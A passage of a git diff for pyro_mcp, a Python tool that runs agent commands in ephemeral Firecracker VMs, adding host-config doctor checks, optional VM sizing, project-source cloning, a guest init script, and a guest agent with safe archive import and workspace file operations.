invalid JSON: {exc}", + repair_command=repair_command, + ) + if not isinstance(payload, dict): + return HostDoctorEntry( + host="opencode", + installed=installed, + configured=False, + status="drifted" if installed else "unavailable", + details="OpenCode config must be a JSON object", + repair_command=repair_command, + ) + mcp_payload = payload.get("mcp") + if not isinstance(mcp_payload, dict) or DEFAULT_HOST_SERVER_NAME not in mcp_payload: + return HostDoctorEntry( + host="opencode", + installed=installed, + configured=False, + status="missing" if installed else "unavailable", + details=f"OpenCode config at {resolved_path} is missing mcp.pyro", + repair_command=repair_command, + ) + configured_entry = mcp_payload[DEFAULT_HOST_SERVER_NAME] + expected_entry = canonical_opencode_entry(config) + status: HostStatus = "ok" if configured_entry == expected_entry else "drifted" + return HostDoctorEntry( + host="opencode", + installed=installed, + configured=True, + status=status, + details=f"OpenCode config path: {resolved_path}", + repair_command=repair_command, + ) + + +def doctor_hosts( + *, + config: HostServerConfig, + config_path: Path | None = None, +) -> list[HostDoctorEntry]: + return [ + _doctor_cli_host("claude-code", config=config), + _doctor_cli_host("codex", config=config), + _doctor_opencode_host(config=config, config_path=config_path), + ] diff --git a/src/pyro_mcp/ollama_demo.py b/src/pyro_mcp/ollama_demo.py index 1a590dd..9007660 100644 --- a/src/pyro_mcp/ollama_demo.py +++ b/src/pyro_mcp/ollama_demo.py @@ -10,17 +10,23 @@ from collections.abc import Callable from typing import Any, Final, cast from pyro_mcp.api import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) __all__ = ["Pyro", "run_ollama_tool_demo"] DEFAULT_OLLAMA_BASE_URL: Final[str] = "http://localhost:11434/v1" DEFAULT_OLLAMA_MODEL: Final[str] = "llama3.2:3b" MAX_TOOL_ROUNDS: Final[int] = 12 -CLONE_TARGET_DIR: Final[str] = "hello-world" NETWORK_PROOF_COMMAND: Final[str] = ( - "rm -rf hello-world " - "&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null " - "&& git -C hello-world rev-parse --is-inside-work-tree" + 'python3 -c "import urllib.request as u; ' + "print(u.urlopen('https://example.com').status)" + '"' ) TOOL_SPECS: Final[list[dict[str, Any]]] = [ @@ -39,8 +45,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "timeout_seconds": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, + "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "command", "vcpu_count", "mem_mib"], + "required": ["environment", "command"], "additionalProperties": False, }, }, @@ -61,7 +68,7 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "type": "function", "function": { "name": "vm_create", - "description": "Create an ephemeral VM with explicit vCPU and memory sizing.", + "description": "Create an ephemeral VM with optional resource sizing.", "parameters": { "type": "object", "properties": { @@ -70,8 +77,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "mem_mib": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, + "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "vcpu_count", "mem_mib"], + "required": ["environment"], "additionalProperties": False, }, }, @@ -192,6 +200,12 @@ def _require_int(arguments: dict[str, Any], key: str) -> int: raise ValueError(f"{key} must be an integer") +def _optional_int(arguments: dict[str, Any], key: str, *, default: int) -> int: + if key not in arguments: + return default + return _require_int(arguments, key) + + def _require_bool(arguments: dict[str, Any], key: str, *, default: bool = False) -> bool: value = arguments.get(key, default) if isinstance(value, bool): @@ -211,27 +225,37 @@ def _dispatch_tool_call( pyro: Pyro, tool_name: str, arguments: dict[str, Any] ) -> dict[str, Any]: if tool_name == "vm_run": - ttl_seconds = arguments.get("ttl_seconds", 600) - timeout_seconds = arguments.get("timeout_seconds", 30) + ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS) + timeout_seconds = arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS) return pyro.run_in_vm( environment=_require_str(arguments, "environment"), command=_require_str(arguments, "command"), - vcpu_count=_require_int(arguments, "vcpu_count"), - mem_mib=_require_int(arguments, "mem_mib"), + vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT), + mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB), timeout_seconds=_require_int({"timeout_seconds": timeout_seconds}, "timeout_seconds"), ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"), network=_require_bool(arguments, "network", default=False), + allow_host_compat=_require_bool( + arguments, + "allow_host_compat", + default=DEFAULT_ALLOW_HOST_COMPAT, + ), ) if tool_name == "vm_list_environments": return {"environments": pyro.list_environments()} if tool_name == "vm_create": - ttl_seconds = arguments.get("ttl_seconds", 600) + ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS) return pyro.create_vm( environment=_require_str(arguments, "environment"), - vcpu_count=_require_int(arguments, "vcpu_count"), - mem_mib=_require_int(arguments, "mem_mib"), + vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT), + mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB), ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"), network=_require_bool(arguments, "network", default=False), + allow_host_compat=_require_bool( + arguments, + "allow_host_compat", + default=DEFAULT_ALLOW_HOST_COMPAT, + ), ) if tool_name == "vm_start": return pyro.start_vm(_require_str(arguments, "vm_id")) @@ -275,10 +299,10 @@ def _run_direct_lifecycle_fallback(pyro: Pyro) -> dict[str, Any]: return pyro.run_in_vm( environment="debian:12", command=NETWORK_PROOF_COMMAND, - vcpu_count=1, - mem_mib=512, + vcpu_count=DEFAULT_VCPU_COUNT, + mem_mib=DEFAULT_MEM_MIB, timeout_seconds=60, - ttl_seconds=600, + ttl_seconds=DEFAULT_TTL_SECONDS, network=True, ) diff --git a/src/pyro_mcp/project_startup.py b/src/pyro_mcp/project_startup.py new file mode 100644 index 0000000..102d631 --- /dev/null +++ b/src/pyro_mcp/project_startup.py @@ -0,0 +1,149 @@ +"""Server-scoped project startup source helpers for MCP chat flows.""" + +from __future__ import annotations + +import shutil +import subprocess +import tempfile +from contextlib import contextmanager +from dataclasses import dataclass +from pathlib import Path +from typing import Iterator, Literal + +ProjectStartupSourceKind = Literal["project_path", "repo_url"] + + +@dataclass(frozen=True) +class ProjectStartupSource: + """Server-scoped default source for workspace creation.""" + + kind: ProjectStartupSourceKind + origin_ref: str + resolved_path: Path | None = None + repo_ref: str | None = None + + +def _run_git(command: list[str], *, cwd: Path | None = None) -> subprocess.CompletedProcess[str]: + return subprocess.run( # noqa: S603 + command, + cwd=str(cwd) if cwd is not None else None, + check=False, + capture_output=True, + text=True, + ) + + +def _detect_git_root(start_dir: Path) -> Path | None: + result = _run_git(["git", "rev-parse", "--show-toplevel"], cwd=start_dir) + if result.returncode != 0: + return None + stdout = result.stdout.strip() + if stdout == "": + return None + return Path(stdout).expanduser().resolve() + + +def _resolve_project_path(project_path: str | Path, *, cwd: Path) -> Path: + resolved = Path(project_path).expanduser() + if not resolved.is_absolute(): + resolved = (cwd / resolved).resolve() + else: + resolved = resolved.resolve() + if not resolved.exists(): + raise ValueError(f"project_path {resolved} does not exist") + if not resolved.is_dir(): + raise ValueError(f"project_path {resolved} must be a directory") + git_root = _detect_git_root(resolved) + if git_root is not None: + return git_root + return resolved + + +def resolve_project_startup_source( + *, + project_path: str | Path | None = None, + repo_url: str | None = None, + repo_ref: str | None = None, + no_project_source: bool = False, + cwd: Path | None = None, +) -> ProjectStartupSource | None: + working_dir = Path.cwd() if cwd is None else cwd.resolve() + if no_project_source: + if project_path is not None or repo_url is not None or repo_ref is not None: + raise ValueError( + "--no-project-source cannot be combined with --project-path, " + "--repo-url, or --repo-ref" + ) + return None + if project_path is not None and repo_url is not None: + raise ValueError("--project-path and --repo-url are mutually exclusive") + if repo_ref is not None and repo_url is None: + raise ValueError("--repo-ref requires --repo-url") + if project_path is not None: + resolved_path = _resolve_project_path(project_path, cwd=working_dir) + return ProjectStartupSource( + kind="project_path", + origin_ref=str(resolved_path), + resolved_path=resolved_path, + ) + if repo_url is not None: + normalized_repo_url = repo_url.strip() + if normalized_repo_url == "": + raise ValueError("--repo-url must not be empty") + normalized_repo_ref = None if repo_ref is None else repo_ref.strip() + if normalized_repo_ref == "": + raise ValueError("--repo-ref must not be empty") + return ProjectStartupSource( + kind="repo_url", + origin_ref=normalized_repo_url, + repo_ref=normalized_repo_ref, + ) + detected_root = _detect_git_root(working_dir) + if detected_root is None: + return None + return ProjectStartupSource( + kind="project_path", + origin_ref=str(detected_root), + resolved_path=detected_root, + ) + + +@contextmanager +def materialize_project_startup_source(source: ProjectStartupSource) -> Iterator[Path]: + if source.kind == "project_path": + if source.resolved_path is None: + raise RuntimeError("project_path source is missing a resolved path") + yield source.resolved_path + return + + temp_dir = Path(tempfile.mkdtemp(prefix="pyro-project-source-")) + clone_dir = temp_dir / "clone" + try: + clone_result = _run_git(["git", "clone", "--quiet", source.origin_ref, str(clone_dir)]) + if clone_result.returncode != 0: + stderr = clone_result.stderr.strip() or "git clone failed" + raise RuntimeError(f"failed to clone repo_url {source.origin_ref!r}: {stderr}") + if source.repo_ref is not None: + checkout_result = _run_git( + ["git", "checkout", "--quiet", source.repo_ref], + cwd=clone_dir, + ) + if checkout_result.returncode != 0: + stderr = checkout_result.stderr.strip() or "git checkout failed" + raise RuntimeError( + f"failed to checkout repo_ref {source.repo_ref!r} for " + f"repo_url {source.origin_ref!r}: {stderr}" + ) + yield clone_dir + finally: + shutil.rmtree(temp_dir, ignore_errors=True) + + +def describe_project_startup_source(source: ProjectStartupSource | None) -> str | None: + if source is None: + return None + if source.kind == "project_path": + return f"the current project at {source.origin_ref}" + if source.repo_ref is None: + return f"the clean clone source {source.origin_ref}" + return f"the clean clone source {source.origin_ref} at ref {source.repo_ref}" diff --git a/src/pyro_mcp/runtime.py b/src/pyro_mcp/runtime.py index a950108..24779a3 100644 --- a/src/pyro_mcp/runtime.py +++ b/src/pyro_mcp/runtime.py @@ -11,6 +11,13 @@ from dataclasses import dataclass from pathlib import Path from typing import Any +from pyro_mcp.daily_loop import ( + DEFAULT_PREPARE_ENVIRONMENT, + evaluate_daily_loop_status, + load_prepare_manifest, + prepare_manifest_path, + serialize_daily_loop_report, +) from pyro_mcp.vm_network import TapNetworkManager DEFAULT_PLATFORM = "linux-x86_64" @@ -25,6 +32,7 @@ class RuntimePaths: firecracker_bin: Path jailer_bin: Path guest_agent_path: Path | None + guest_init_path: Path | None artifacts_dir: Path notice_path: Path manifest: dict[str, Any] @@ -93,6 +101,7 @@ def resolve_runtime_paths( firecracker_bin = bundle_root / str(firecracker_entry.get("path", "")) jailer_bin = bundle_root / str(jailer_entry.get("path", "")) guest_agent_path: Path | None = None + guest_init_path: Path | None = None guest = manifest.get("guest") if isinstance(guest, dict): agent_entry = guest.get("agent") @@ -100,11 +109,18 @@ def resolve_runtime_paths( raw_agent_path = agent_entry.get("path") if isinstance(raw_agent_path, str): guest_agent_path = bundle_root / raw_agent_path + init_entry = guest.get("init") + if isinstance(init_entry, dict): + raw_init_path = init_entry.get("path") + if isinstance(raw_init_path, str): + guest_init_path = bundle_root / raw_init_path artifacts_dir = bundle_root / "profiles" required_paths = [firecracker_bin, jailer_bin] if guest_agent_path is not None: required_paths.append(guest_agent_path) + if guest_init_path is not None: + required_paths.append(guest_init_path) for path in required_paths: if not path.exists(): @@ -126,12 +142,17 @@ def resolve_runtime_paths( f"runtime checksum mismatch for {full_path}; expected {raw_hash}, got {actual}" ) if isinstance(guest, dict): - agent_entry = guest.get("agent") - if isinstance(agent_entry, dict): - raw_path = agent_entry.get("path") - raw_hash = agent_entry.get("sha256") + for entry_name, malformed_message in ( + ("agent", "runtime guest agent manifest entry is malformed"), + ("init", "runtime guest init manifest entry is malformed"), + ): + guest_entry = guest.get(entry_name) + if not isinstance(guest_entry, dict): + continue + raw_path = guest_entry.get("path") + raw_hash = guest_entry.get("sha256") if not isinstance(raw_path, str) or not isinstance(raw_hash, str): - raise RuntimeError("runtime guest agent manifest entry is malformed") + raise RuntimeError(malformed_message) full_path = bundle_root / raw_path actual = _sha256(full_path) if actual != raw_hash: @@ -145,6 +166,7 @@ def resolve_runtime_paths( firecracker_bin=firecracker_bin, jailer_bin=jailer_bin, guest_agent_path=guest_agent_path, + guest_init_path=guest_init_path, artifacts_dir=artifacts_dir, notice_path=notice_path, manifest=manifest, @@ -185,7 +207,11 @@ def runtime_capabilities(paths: RuntimePaths) -> RuntimeCapabilities: ) -def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]: +def doctor_report( + *, + platform: str = DEFAULT_PLATFORM, + environment: str = DEFAULT_PREPARE_ENVIRONMENT, +) -> dict[str, Any]: """Build a runtime diagnostics report.""" report: dict[str, Any] = { "platform": platform, @@ -227,6 +253,7 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]: "firecracker_bin": str(paths.firecracker_bin), "jailer_bin": str(paths.jailer_bin), "guest_agent_path": str(paths.guest_agent_path) if paths.guest_agent_path else None, + "guest_init_path": str(paths.guest_init_path) if paths.guest_init_path else None, "artifacts_dir": str(paths.artifacts_dir), "artifacts_present": paths.artifacts_dir.exists(), "notice_path": str(paths.notice_path), @@ -242,6 +269,36 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]: "cache_dir": str(environment_store.cache_dir), "environments": environment_store.list_environments(), } + environment_details = environment_store.inspect_environment(environment) + manifest_path = prepare_manifest_path( + environment_store.cache_dir, + platform=platform, + environment=environment, + ) + manifest, manifest_error = load_prepare_manifest(manifest_path) + status, reason = evaluate_daily_loop_status( + environment=environment, + environment_version=str(environment_details["version"]), + platform=platform, + catalog_version=environment_store.catalog_version, + bundle_version=( + None + if paths.manifest.get("bundle_version") is None + else str(paths.manifest["bundle_version"]) + ), + installed=bool(environment_details["installed"]), + manifest=manifest, + manifest_error=manifest_error, + ) + report["daily_loop"] = serialize_daily_loop_report( + environment=environment, + status=status, + installed=bool(environment_details["installed"]), + cache_dir=environment_store.cache_dir, + manifest_path=manifest_path, + reason=reason, + manifest=manifest, + ) if not report["kvm"]["exists"]: report["issues"] = ["/dev/kvm is not available on this host"] return report diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init new file mode 100644 index 0000000..2e8a82a --- /dev/null +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init @@ -0,0 +1,57 @@ +#!/bin/sh +set -eu + +PATH=/usr/sbin:/usr/bin:/sbin:/bin +AGENT=/opt/pyro/bin/pyro_guest_agent.py + +mount -t proc proc /proc || true +mount -t sysfs sysfs /sys || true +mount -t devtmpfs devtmpfs /dev || true +mkdir -p /dev/pts /run /tmp +mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true +hostname pyro-vm || true + +cmdline="$(cat /proc/cmdline 2>/dev/null || true)" + +get_arg() { + key="$1" + for token in $cmdline; do + case "$token" in + "$key"=*) + printf '%s' "${token#*=}" + return 0 + ;; + esac + done + return 1 +} + +ip link set lo up || true +if ip link show eth0 >/dev/null 2>&1; then + ip link set eth0 up || true + guest_ip="$(get_arg pyro.guest_ip || true)" + gateway_ip="$(get_arg pyro.gateway_ip || true)" + netmask="$(get_arg pyro.netmask || true)" + dns_csv="$(get_arg pyro.dns || true)" + if [ -n "$guest_ip" ] && [ -n "$netmask" ]; then + ip addr add "$guest_ip/$netmask" dev eth0 || true + fi + if [ -n "$gateway_ip" ]; then + ip route add default via "$gateway_ip" dev eth0 || true + fi + if [ -n "$dns_csv" ]; then + : > /etc/resolv.conf + old_ifs="$IFS" + IFS=, + for dns in $dns_csv; do + printf 'nameserver %s\n' "$dns" >> /etc/resolv.conf + done + IFS="$old_ifs" + fi +fi + +if [ -f "$AGENT" ]; then + python3 "$AGENT" & +fi + +exec /bin/sh -lc 'trap : TERM INT; while true; do sleep 3600; done' diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index ea9c2cf..a469d7b 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -1,26 +1,70 @@ #!/usr/bin/env python3 -"""Minimal guest-side exec agent for pyro runtime bundles.""" +"""Guest-side exec, workspace import, and interactive shell agent.""" from __future__ import annotations +import base64 +import codecs +import fcntl +import io import json +import os +import re +import shlex +import shutil +import signal import socket +import struct import subprocess +import tarfile +import tempfile +import termios +import threading import time +import urllib.error +import urllib.request +from pathlib import Path, PurePosixPath from typing import Any PORT = 5005 BUFFER_SIZE = 65536 +WORKSPACE_ROOT = PurePosixPath("/workspace") +SHELL_ROOT = Path("/run/pyro-shells") +SERVICE_ROOT = Path("/run/pyro-services") +SECRET_ROOT = Path("/run/pyro-secrets") +WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 +SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") +SHELL_SIGNAL_MAP = { + "HUP": signal.SIGHUP, + "INT": signal.SIGINT, + "TERM": signal.SIGTERM, + "KILL": signal.SIGKILL, +} +SHELL_SIGNAL_NAMES = tuple(SHELL_SIGNAL_MAP) + +_SHELLS: dict[str, "GuestShellSession"] = {} +_SHELLS_LOCK = threading.Lock() + + +def _redact_text(text: str, redact_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {item for item in redact_values if item != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: - data = conn.recv(BUFFER_SIZE) + data = conn.recv(1) if data == b"": break chunks.append(data) - if b"\n" in data: + if data == b"\n": break payload = json.loads(b"".join(chunks).decode("utf-8").strip()) if not isinstance(payload, dict): @@ -28,13 +72,427 @@ def _read_request(conn: socket.socket) -> dict[str, Any]: return payload -def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: +def _read_exact(conn: socket.socket, size: int) -> bytes: + remaining = size + chunks: list[bytes] = [] + while remaining > 0: + data = conn.recv(min(BUFFER_SIZE, remaining)) + if data == b"": + raise RuntimeError("unexpected EOF while reading archive payload") + chunks.append(data) + remaining -= len(data) + return b"".join(chunks) + + +def _normalize_member_name(name: str) -> PurePosixPath: + candidate = name.strip() + if candidate == "": + raise RuntimeError("archive member path is empty") + member_path = PurePosixPath(candidate) + if member_path.is_absolute(): + raise RuntimeError(f"absolute archive member paths are not allowed: {name}") + parts = [part for part in member_path.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"unsafe archive member path: {name}") + normalized = PurePosixPath(*parts) + if str(normalized) in {"", "."}: + raise RuntimeError(f"unsafe archive member path: {name}") + return normalized + + +def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: + candidate = destination.strip() + if candidate == "": + raise RuntimeError("destination must not be empty") + destination_path = PurePosixPath(candidate) + if not destination_path.is_absolute(): + destination_path = WORKSPACE_ROOT / destination_path + parts = [part for part in destination_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise RuntimeError("destination must stay inside /workspace") + if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: + raise RuntimeError("destination must stay inside /workspace") + suffix = normalized.relative_to(WORKSPACE_ROOT) + host_path = Path("/workspace") + if str(suffix) not in {"", "."}: + host_path = host_path.joinpath(*suffix.parts) + return normalized, host_path + + +def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: + normalized, host_path = _normalize_destination(cwd) + return str(normalized), host_path + + +def _normalize_service_name(service_name: str) -> str: + normalized = service_name.strip() + if normalized == "": + raise RuntimeError("service_name is required") + if SERVICE_NAME_RE.fullmatch(normalized) is None: + raise RuntimeError("service_name is invalid") + return normalized + + +def _service_stdout_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stdout" + + +def _service_stderr_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stderr" + + +def _service_status_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.status" + + +def _service_runner_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.runner.sh" + + +def _service_metadata_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.json" + + +def _normalize_secret_name(secret_name: str) -> str: + normalized = secret_name.strip() + if normalized == "": + raise RuntimeError("secret name is required") + if re.fullmatch(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$", normalized) is None: + raise RuntimeError("secret name is invalid") + return normalized + + +def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: + target = link_target.strip() + if target == "": + raise RuntimeError(f"symlink {member_path} has an empty target") + target_path = PurePosixPath(target) + if target_path.is_absolute(): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + combined = member_path.parent.joinpath(target_path) + parts = [part for part in combined.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + + +def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"archive member would traverse through a symlinked path: {member_name}" + ) + + +def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: + normalized_destination, destination_root = _normalize_destination(destination) + destination_root.mkdir(parents=True, exist_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = destination_root.joinpath(*member_name.parts) + entry_count += 1 + _ensure_no_symlink_parents(destination_root, target_path, member.name) + if member.isdir(): + if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and (target_path.is_dir() or target_path.is_symlink()): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + bytes_written += member.size + continue + if member.issym(): + _validate_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "destination": str(normalized_destination), + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + +def _install_secrets_archive(payload: bytes) -> dict[str, Any]: + SECRET_ROOT.mkdir(parents=True, exist_ok=True) + for existing in SECRET_ROOT.iterdir(): + if existing.is_dir() and not existing.is_symlink(): + shutil.rmtree(existing, ignore_errors=True) + else: + existing.unlink(missing_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = SECRET_ROOT.joinpath(*member_name.parts) + entry_count += 1 + if member.isdir(): + target_path.mkdir(parents=True, exist_ok=True) + target_path.chmod(0o700) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + target_path.parent.chmod(0o700) + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read secret archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + target_path.chmod(0o600) + bytes_written += member.size + continue + if member.issym() or member.islnk(): + raise RuntimeError(f"secret archive may not contain links: {member.name}") + raise RuntimeError(f"unsupported secret archive member type: {member.name}") + return { + "destination": str(SECRET_ROOT), + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + +def _inspect_archive(archive_path: Path) -> tuple[int, int]: + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + entry_count += 1 + if member.isfile(): + bytes_written += member.size + return entry_count, bytes_written + + +def _prepare_export_archive(path: str) -> dict[str, Any]: + normalized_path, source_path = _normalize_destination(path) + if not source_path.exists() and not source_path.is_symlink(): + raise RuntimeError(f"workspace path does not exist: {normalized_path}") + if source_path.is_symlink(): + artifact_type = "symlink" + elif source_path.is_file(): + artifact_type = "file" + elif source_path.is_dir(): + artifact_type = "directory" + else: + raise RuntimeError(f"unsupported workspace path type: {normalized_path}") + + with tempfile.NamedTemporaryFile(prefix="pyro-export-", suffix=".tar", delete=False) as handle: + archive_path = Path(handle.name) + try: + with tarfile.open(archive_path, "w") as archive: + archive.dereference = False + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + else: + archive.add(source_path, arcname=source_path.name, recursive=False) + entry_count, bytes_written = _inspect_archive(archive_path) + return { + "workspace_path": str(normalized_path), + "artifact_type": artifact_type, + "archive_path": archive_path, + "archive_size": archive_path.stat().st_size, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + except Exception: + archive_path.unlink(missing_ok=True) + raise + + +def _workspace_entry(path_text: str, host_path: Path) -> dict[str, Any]: + try: + stat_result = os.lstat(host_path) + except FileNotFoundError as exc: + raise RuntimeError(f"workspace path does not exist: {path_text}") from exc + if host_path.is_symlink(): + return { + "path": path_text, + "artifact_type": "symlink", + "size_bytes": stat_result.st_size, + "link_target": os.readlink(host_path), + } + if host_path.is_dir(): + return { + "path": path_text, + "artifact_type": "directory", + "size_bytes": 0, + "link_target": None, + } + if host_path.is_file(): + return { + "path": path_text, + "artifact_type": "file", + "size_bytes": stat_result.st_size, + "link_target": None, + } + raise RuntimeError(f"unsupported workspace path type: {path_text}") + + +def _join_workspace_path(base: str, child_name: str) -> str: + base_path = PurePosixPath(base) + return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" + + +def _list_workspace(path: str, *, recursive: bool) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "directory": + return { + "path": str(normalized_path), + "artifact_type": entry["artifact_type"], + "entries": [entry], + } + entries: list[dict[str, Any]] = [] + + def walk(current_path: str, current_host_path: Path) -> None: + children: list[tuple[dict[str, Any], Path]] = [] + with os.scandir(current_host_path) as iterator: + for child in iterator: + child_host_path = Path(child.path) + children.append( + ( + _workspace_entry( + _join_workspace_path(current_path, child.name), + child_host_path, + ), + child_host_path, + ) + ) + children.sort(key=lambda item: str(item[0]["path"])) + for child_entry, child_host_path in children: + entries.append(child_entry) + if recursive and child_entry["artifact_type"] == "directory": + walk(str(child_entry["path"]), child_host_path) + + walk(str(normalized_path), host_path) + return { + "path": str(normalized_path), + "artifact_type": "directory", + "entries": entries, + } + + +def _read_workspace_file(path: str, *, max_bytes: int) -> dict[str, Any]: + if max_bytes <= 0: + raise RuntimeError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" + ) + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file read only supports regular files") + raw_bytes = host_path.read_bytes() + if len(raw_bytes) > max_bytes: + raise RuntimeError( + f"workspace file exceeds the maximum supported size of {max_bytes} bytes" + ) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "content_b64": base64.b64encode(raw_bytes).decode("ascii"), + } + + +def _ensure_no_symlink_parents_for_write(root: Path, target_path: Path, path_text: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"workspace path would traverse through a symlinked parent: {path_text}" + ) + + +def _write_workspace_file(path: str, *, text: str) -> dict[str, Any]: + raw_bytes = text.encode("utf-8") + if len(raw_bytes) > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + normalized_path, host_path = _normalize_destination(path) + _ensure_no_symlink_parents_for_write(Path("/workspace"), host_path, str(normalized_path)) + if host_path.exists() or host_path.is_symlink(): + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file write only supports regular file targets") + host_path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile( + prefix=".pyro-workspace-write-", + dir=host_path.parent, + delete=False, + ) as handle: + temp_path = Path(handle.name) + handle.write(raw_bytes) + os.replace(temp_path, host_path) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "bytes_written": len(raw_bytes), + } + + +def _delete_workspace_path(path: str) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] == "directory": + raise RuntimeError("workspace file delete does not support directories") + 